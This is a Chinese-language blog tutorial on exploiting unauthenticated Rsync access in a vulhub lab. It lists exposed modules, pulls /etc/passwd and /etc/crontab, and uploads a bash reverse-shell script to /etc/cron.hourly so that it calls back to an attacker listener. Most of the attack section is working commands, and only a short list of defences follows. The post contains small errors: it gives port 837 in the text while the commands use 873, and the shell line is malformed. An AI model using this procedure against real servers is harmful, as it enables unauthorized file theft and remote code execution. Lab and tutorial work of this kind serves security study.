浅谈未授权漏洞——Rsync未授权getshell

0x01 漏洞简介及危害

Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。

0x02 漏洞复现

Rsync相关环境利用vulhub进行复现,vulhub安装教程请自行百度

cd /vulhub/rsync/common
docker-compose up -d

未授权访问

#rsync rsync://{target_ip}/

rsync rsync://192.168.2.85/
rsync rsync://192.168.2.85/src

任意文件下载

rsync rsync://192.168.2.85/src/etc/passwd ./

成功下载/etc/passwd

反弹shell

# 下载crontab配置文件
rsync rsync://192.168.2.85:873/src/etc/crontab ./


该环境crontab中
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
表示每小时的第17分钟执行run-parts --report /etc/cron.hourly

# 写入bash并赋权
vim nc
chmod 777

#bash内容:

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.211.55.8/9999 0>&i

# 最后将文件上传至/etc/cron.hourly
rsync -av nc rsync://192.168.2.85:873/src/etc/cron.hourly

# kali本地监听9999端口
nc -lvnp 9999

每小时第十七分钟运行我们上传的bash脚本,所以反弹shell需要等待

成功反弹shell

0x03 防护措施

  • 账户认证:正确配置认证用户名及密码。
  • 权限控制:使用合理的权限。
  • 网络访问控制:控制接入源ip。
  • 数据加密传输等
posted @ 2020-08-30 20:27  C0ldCash  阅读(630)  评论(0编辑  收藏  举报